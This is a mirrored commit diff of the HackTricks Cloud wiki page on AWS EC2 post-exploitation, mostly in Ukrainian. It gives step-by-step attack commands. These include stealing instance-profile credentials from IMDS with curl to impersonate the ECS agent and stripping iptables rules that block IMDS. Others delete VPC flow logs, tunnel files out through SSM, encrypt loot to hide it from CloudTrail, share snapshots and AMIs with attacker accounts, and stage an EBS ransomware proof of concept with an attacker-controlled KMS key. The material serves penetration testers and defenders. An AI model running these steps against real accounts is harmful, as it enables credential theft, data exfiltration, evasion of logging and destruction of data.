mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+99
-60
@@ -10,11 +10,10 @@
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Зловмисний VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без необхідності встановлювати що-небудь на самі інстанси.\
|
||||
Такий дуплікований трафік зазвичай надсилається, наприклад, у network intrusion detection system (IDS) для аналізу та моніторингу.\
|
||||
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію:
|
||||
VPC traffic mirroring **дублює вхідний та вихідний трафік для EC2 інстансів всередині VPC** без необхідності встановлювати будь-що на самі інстанси. Цей дубльований трафік зазвичай надсилається до чогось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\
|
||||
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати конфіденційну інформацію з нього:
|
||||
|
||||
Для отримання додаткової інформації див. цю сторінку:
|
||||
|
||||
@@ -24,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Інстанси зазвичай містять певну конфіденційну інформацію. Є різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий інстанс (навіть у власному акаунті)**:
|
||||
Інстанси зазвичай містять певну конфіденційну інформацію. Існують різні способи потрапити всередину (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що він містить, — **створити AMI і запустити з нього новий інстанс (навіть у власному обліковому записі)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -50,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому їх перевірка має це виявити.\
|
||||
Якщо ви знайдете a **volume without a snapshot** ви можете: **Create a snapshot** і виконати наступні дії або просто **mount it in an instance** в межах облікового запису:
|
||||
**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому їх перевірка має розкрити ці дані.\
|
||||
Якщо ви знайдете **volume without a snapshot** ви можете: **Create a snapshot** і виконати наведені нижче дії або просто **mount it in an instance** всередині акаунту:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -59,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Експортуйте EC2 AMI напряму в S3, використовуючи `CreateStoreImageTask`, щоб отримати raw disk image без необхідності шарингу snapshot. Це дозволяє провести повний offline forensics або data theft, залишаючи мережеві налаштування інстансу без змін.
|
||||
Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати сирий образ диска без snapshot sharing. Це дозволяє виконати повну офлайн-форензіку або крадіжку даних, не змінюючи мережеві налаштування instance.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -67,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Прикріпіть io1/io2 Multi-Attach volume до другого інстансу та змонтуйте його в режимі read-only, щоб перекачувати live data без створення snapshots. Корисно, коли victim volume вже має Multi-Attach у тій же AZ.
|
||||
Підключіть io1/io2 Multi-Attach volume до другої instance і змонтуйте його в режимі read-only, щоб витягти live data без створення snapshot-ів. Корисно, коли victim volume вже має увімкнений Multi-Attach у тій самій AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -75,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних інстансів через managed tunnel. Дає швидкі шляхи lateral movement без відкриття public ports.
|
||||
Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys, щоб отримати доступ до приватних instances через керований тунель. Надає швидкі lateral movement шляхи без відкриття публічних портів.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -83,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Перенесіть secondary private IP жертви з ENI на ENI, контрольований атакуючим, щоб імітувати trusted hosts, які знаходяться в allowlist по IP. Дозволяє обходити внутрішні ACLs або SG rules, прив’язані до конкретних адрес.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -91,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Повторно асоціюйте Elastic IP з інстансу жертви на інстанс атакуючого, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs.
|
||||
Переасоціюйте Elastic IP з інстансу жертви на інстанс нападника, щоб перехоплювати вхідний трафік або ініціювати вихідні з'єднання, які виглядають як такі, що походять з довірених публічних IP-адрес.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -99,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs у цей список тихо розширює доступ для всіх залежних SG rule без модифікації самої SG.
|
||||
Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до цього списку непомітно розширює доступ для всіх залежних правил SG без зміни самої SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -107,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration.
|
||||
Створіть gateway або interface VPC endpoints, щоб відновити вихідний доступ з ізольованих підмереж. Використання AWS-managed private links дозволяє обходити відсутні IGW/NAT контролі для ексфільтрації даних.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -115,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Атакуючий з правом `ec2:AuthorizeSecurityGroupIngress` може додавати inbound rules до security groups (наприклад, дозволити tcp:80 з 0.0.0.0/0), тим самим виставляючи internal services в public Internet або іншим неавторизованим мережам.
|
||||
Нападник з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound правила до security groups (наприклад, дозволити tcp:80 з 0.0.0.0/0), тим самим відкриваючи внутрішні сервіси для публічного Інтернету або для неавторизованих мереж.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Зловмисник, який має дозволи ec2:ReplaceNetworkAclEntry (або подібні), може змінити Network ACLs (NACLs) підмережі так, щоб вони стали вкрай відкритими — наприклад дозволивши 0.0.0.0/0 на критичних портах — піддавши весь діапазон підмережі доступу з Інтернету або неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні окремого інстансу, NACLs застосовуються на рівні підмережі, тож зміна суворого NACL може мати значно більший радіус ураження, дозволяючи доступ до значно більшої кількості хостів.
|
||||
Зловмисник із правами ec2:ReplaceNetworkAclEntry (або подібними) може змінити Network ACLs (NACLs) підмережі, зробивши їх дуже дозволяючими — наприклад, дозволити 0.0.0.0/0 на критичних портах — відкривши весь діапазон підмережі в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні інстансу, NACLs застосовуються на рівні підмережі, тому зміна обмежувальної NACL може мати значно більший радіус ураження, дозволяючи доступ до набагато більшої кількості хостів.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -132,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
An attacker з правами ec2:Delete* та iam:Remove* може видаляти критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, або managed endpoints. Це може спричинити негайне припинення роботи сервісу, втрату даних та втрату судових доказів.
|
||||
Зловмисник з правами ec2:Delete* та iam:Remove* може видалити критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайний збій сервісу, втрату даних та знищення судово-технічних доказів.
|
||||
|
||||
One example is deleting a security group:
|
||||
Один приклад — видалення security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Направте VPC Flow Logs у attacker-controlled S3 bucket, щоб безперервно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової reconnaissance.
|
||||
Налаштуйте VPC Flow Logs на S3 bucket, контрольований зловмисником, щоб постійно збирати мережеві метадані (source/destination, ports) поза межами облікового запису жертви для тривалого розвідування.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -151,17 +150,17 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Навіть якщо ви закриєте EC2 так, що трафік не може вийти, він все одно може **exfil via DNS**.
|
||||
Навіть якщо ви закрили EC2 так, що жоден трафік не може вийти, він все одно може **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- У вас немає доступу до AWS DNS logs.
|
||||
- Вимкніть це, встановивши "enableDnsSupport" в false за допомогою:
|
||||
- Вимкніть це, встановивши "enableDnsSupport" у false за допомогою:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
An attacker може викликати API endpoints облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і attacker зможе побачити exfiltrate data у Cloudtrail logs.
|
||||
Зловмисник може викликати API endpoints облікового запису, яким він керує. Cloudtrail зареєструє ці виклики, і зловмисник зможе побачити exfiltrate data у Cloudtrail логах.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
@@ -172,78 +171,116 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти дані ECS instances.
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
Для [**детальнішої інформації див. тут**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Видалити VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Компрометація всередині будь-якого ECS task, що працює на EC2 container instance, зазвичай достатня, щоб переключитися на роль хоста і отримати доступ до IAM ролей, пов’язаних зі всіма іншими task’ами на цьому вузлі. Оскільки для ECS-on-EC2 існує **немає ізоляції task’ів**, кожен task за замовчуванням може звертатись до EC2 Instance Metadata Service (IMDS), викрасти container instance profile і потім говорити тим самим WebSocket протоколом, який використовує ECS agent, до control plane (the **ECScape** primitive), щоб запросити облікові дані для кожного task, який наразі запланований на цьому хості. Latacora документували цю роботу в своєму [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), яку наступне offensive summary стискає.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Налаштування IMDSv2 з `HttpTokens=required` та `HttpPutResponseHopLimit=1` блокує лише ті task’и, що знаходяться за додатковим hop’ом (Docker bridge). Інші мережеві режими залишаються в одному hop’і від Nitro controller і все ще отримують відповіді:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. |
|
||||
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
|
||||
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |
|
||||
|
||||
Отже, **ніколи не припускайте, що hop limit 1 захищає awsvpc або host-mode workload’и** — завжди тестуйте зсередини ваших контейнерів.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs або зміни маршрутизації не можуть заблокувати link-local адресу 169.254.169.254, тому що Nitro інжектить її на хості. Перевірте `/etc/ecs/ecs.config` на наявність `ECS_AWSVPC_BLOCK_IMDS=true`. Якщо прапорець відсутній (за замовчуванням), ви можете curl IMDS безпосередньо з task. Якщо він встановлений, перейдіть у host/agent namespace, щоб відключити його, або запустіть ваші інструменти поза awsvpc.
|
||||
|
||||
- **bridge mode:** Коли запити метаданих падають, навіть якщо hop limit 1 налаштований, захисники, ймовірно, вставили `DOCKER-USER` drop правило типу `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Перелік `iptables -S DOCKER-USER` це виявляє, і доступ до root дозволяє вам видалити або змінити порядок правила перед запитом до IMDS.
|
||||
|
||||
- **host mode:** Перевірте конфігурацію агента на `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Це налаштування повністю видаляє task IAM ролі, тож вам доведеться або знову ввімкнути його, перейти на awsvpc tasks, або вкрасти облікові дані через інший процес на хості. Коли значення `true` (за замовчуванням), кожен процес у host-mode — включно зі скомпрометованими контейнерами — може дістатися IMDS, якщо тільки спеціальні eBPF/cgroup фільтри не таргетують `169.254.169.254`; шукайте програми tc/eBPF або iptables правила, що посилаються на цю адресу.
|
||||
|
||||
Latacora навіть опублікували [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening), який можна запустити в цільовому акаунті, щоб перерахувати, які мережеві режими ще відкривають metadata, і спланувати ваш наступний хід відповідно.
|
||||
|
||||
Як тільки ви з’ясуєте, які режими відкривають IMDS, ви можете спланувати шлях post-exploitation: таргетити будь-який ECS task, запросити instance profile, підробити агента і зібрати ролі всіх інших task’ів для латерального руху або персистенції в кластері.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Необхідні дозволи:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Окрім виконання команд, SSM підтримує traffic tunneling, що дає змогу виконати pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs.
|
||||
Один зі сценаріїв, де це корисно — виконати pivot з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера.
|
||||
Окрім виконання команд, SSM дозволяє traffic tunneling, який можна зловживати для pivot з EC2 instances, що не мають мережевого доступу через Security Groups або NACLs.
|
||||
Один із сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS cluster.
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Щоб розпочати сесію, потрібен встановлений SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Встановіть SessionManagerPlugin на вашу машину
|
||||
2. Увійдіть на Bastion EC2, використовуючи наступну команду:
|
||||
1. Встановіть SessionManagerPlugin на вашій машині
|
||||
2. Увійдіть в Bastion EC2 за допомогою наступної команди:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Передайте облікові дані на вашу машину в файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
|
||||
5. Увійдіть у EKS як Bastion EC2:
|
||||
3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Перенесіть облікові дані на вашу машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
|
||||
5. Увійдіть до EKS як Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб воно вказувало на `https://localhost`
|
||||
7. Створіть SSM tunnel наступним чином:
|
||||
6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказувати на `https://localhost`
|
||||
7. Створіть SSM-тунель таким чином:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Трафік із інструменту `kubectl` тепер пересилається через SSM-тунель на Bastion EC2, і ви можете отримати доступ до приватного EKS кластера зі своєї машини, виконавши:
|
||||
8. Трафік інструмента `kubectl` тепер перенаправляється через SSM tunnel через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS зі своєї машини, виконавши:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Зауважте, що SSL-з'єднання не вдасться, якщо ви не встановите прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви в безпеці від будь-яких MitM attacks.
|
||||
Зауважте, що SSL-з'єднання не вдасться встановити, якщо ви не задасте прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак.
|
||||
|
||||
Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якого іншого AWS service або власного застосунку.
|
||||
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете вказувати довільні домени й порти для pivot до будь-якого іншого AWS сервісу або власного додатку.
|
||||
|
||||
---
|
||||
|
||||
#### Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession)
|
||||
#### Швидкий Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Якщо вам потрібно переслати **лише один TCP порт з EC2 інстансу на ваш локальний хост**, ви можете використати SSM-документ `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен):
|
||||
Якщо вам потрібно перенаправити лише один TCP-порт з EC2 instance на ваш локальний хост, ви можете використовувати документ SSM `AWS-StartPortForwardingSession` (параметр remote host не потрібен):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Команда створює двонаправлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**.
|
||||
Команда встановлює двонапрямлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**.
|
||||
|
||||
Типові сценарії використання:
|
||||
|
||||
* **File exfiltration**
|
||||
1. На інстансі запустіть тимчасовий HTTP server, який вказує на каталог, який ви хочете exfiltrate:
|
||||
1. На інстансі запустіть простий HTTP server, що вказує на директорію, яку ви хочете exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. З вашої робочої станції отримайте файли через тунель SSM:
|
||||
2. З вашої робочої станції завантажте файли через SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Доступ до внутрішніх веб-додатків (наприклад Nessus)**
|
||||
* **Доступ до внутрішніх веб-застосунків (наприклад, Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -251,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Порада: Compress і encrypt докази перед exfiltrating, щоб CloudTrail не реєстрував вміст у відкритому вигляді:
|
||||
Порада: стисніть і зашифруйте докази перед їх ексфільтрацією, щоб CloudTrail не реєстрував зміст у відкритому вигляді:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -260,19 +297,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Пошук чутливої інформації в публічних і приватних Amazon Machine Images (AMIs)
|
||||
### Пошук чутливої інформації в публічних та приватних Amazon Machine Images (AMIs)
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску instances з цільових AMIs, монтування їх volumes та сканування на наявність можливих secrets або чутливих даних.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
|
||||
|
||||
### Надання доступу до EBS Snapshot
|
||||
### Спільний доступ до EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Доказ концепції, подібний до демонстрації Ransomware, описаної в нотатках щодо post-exploitation для S3. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки просто ним користуватися для шифрування різних AWS сервісів.
|
||||
Доказ концепції, схожий на демонстрацію Ransomware, наведений у примітках про post-exploitation для S3. KMS слід перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних сервісів AWS.
|
||||
|
||||
Спочатку з облікового запису AWS «атакуючого» створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії зловмисник зберігав би дані ключа поза контролем AWS. Змініть key policy так, щоб будь-який AWS account Principal міг використовувати ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'.
|
||||
Спочатку з 'attacker' AWS акаунта створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за мене, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому AWS account Principal використовувати цей ключ. У цій політиці ключа ім'я акаунта було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -364,7 +401,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Правило key policy має містити ввімкнені наступні дозволи, щоб мати можливість використовувати його для шифрування EBS тома:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -372,21 +409,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Тепер, коли публічно доступний ключ готовий до використання. Ми можемо використати обліковий запис 'victim', у якому запущено кілька EC2 інстансів з приєднаними незашифрованими EBS томами. Саме EBS томи цього облікового запису 'victim' ми націлюємо для шифрування; ця атака відбувається за умови компрометації AWS акаунта з високими привілеями.
|
||||
Тепер, коли публічно доступний key готовий до використання. Ми можемо використати обліковий запис 'victim', у якому запущено декілька EC2 інстансів з приєднаними нешифрованими EBS томами. Саме EBS томи цього 'victim' акаунта є нашою ціллю для шифрування — ця атака здійснюється за умови компрометації облікового запису з високими привілеями в AWS.
|
||||
|
||||
 
|
||||
|
||||
Подібно до прикладу S3 ransomware. Ця атака створює копії приєднаних EBS томів за допомогою snapshots, використовує публічно доступний ключ з облікового запису 'attacker' для шифрування нових EBS томів, потім від'єднує оригінальні EBS томи від EC2 інстансів і видаляє їх, а в кінці — видаляє snapshots, які були використані для створення нових зашифрованих EBS томів. 
|
||||
Аналогічно прикладу S3 ransomware. Ця атака створить копії приєднаних EBS томів за допомогою snapshots, використає публічно доступний key з облікового запису 'attacker' для шифрування нових EBS томів, потім відмонтує оригінальні EBS томи з EC2 інстансів і видалить їх, а наприкінці видалить snapshots, які були використані для створення нових зашифрованих EBS томів. 
|
||||
|
||||
У результаті в акаунті залишаться лише зашифровані EBS томи.
|
||||
В результаті в акаунті залишаться лише зашифровані EBS томи.
|
||||
|
||||
|
||||
|
||||
Також слід зауважити, що скрипт зупинив EC2 інстанси, щоб від'єднати та видалити оригінальні EBS томи. Оригінальні незашифровані томи тепер зникли.
|
||||
Також варто зазначити, що скрипт зупинив EC2 інстанси, щоб відчепити і видалити оригінальні EBS томи. Оригінальні нешифровані томи тепер зникли.
|
||||
|
||||
|
||||
|
||||
Далі поверніться до політики ключа в обліковому записі 'attacker' і видаліть правило політики 'Outside Encryption' з політики ключа.
|
||||
Далі поверніться до key policy в обліковому записі 'attacker' і видаліть правило політики 'Outside Encryption' з key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -457,15 +494,15 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
]
|
||||
}
|
||||
```
|
||||
Зачекайте хвилину, щоб нова політика ключа розповсюдилася. Потім поверніться до облікового запису 'victim' і спробуйте приєднати один із щойно зашифрованих EBS томів. Ви побачите, що том можна приєднати.
|
||||
Зачекайте трохи, щоб нова політика ключа поширилася. Потім поверніться до облікового запису 'victim' і спробуйте приєднати один із щойно зашифрованих томів EBS. Ви побачите, що можете приєднати том.
|
||||
|
||||
 
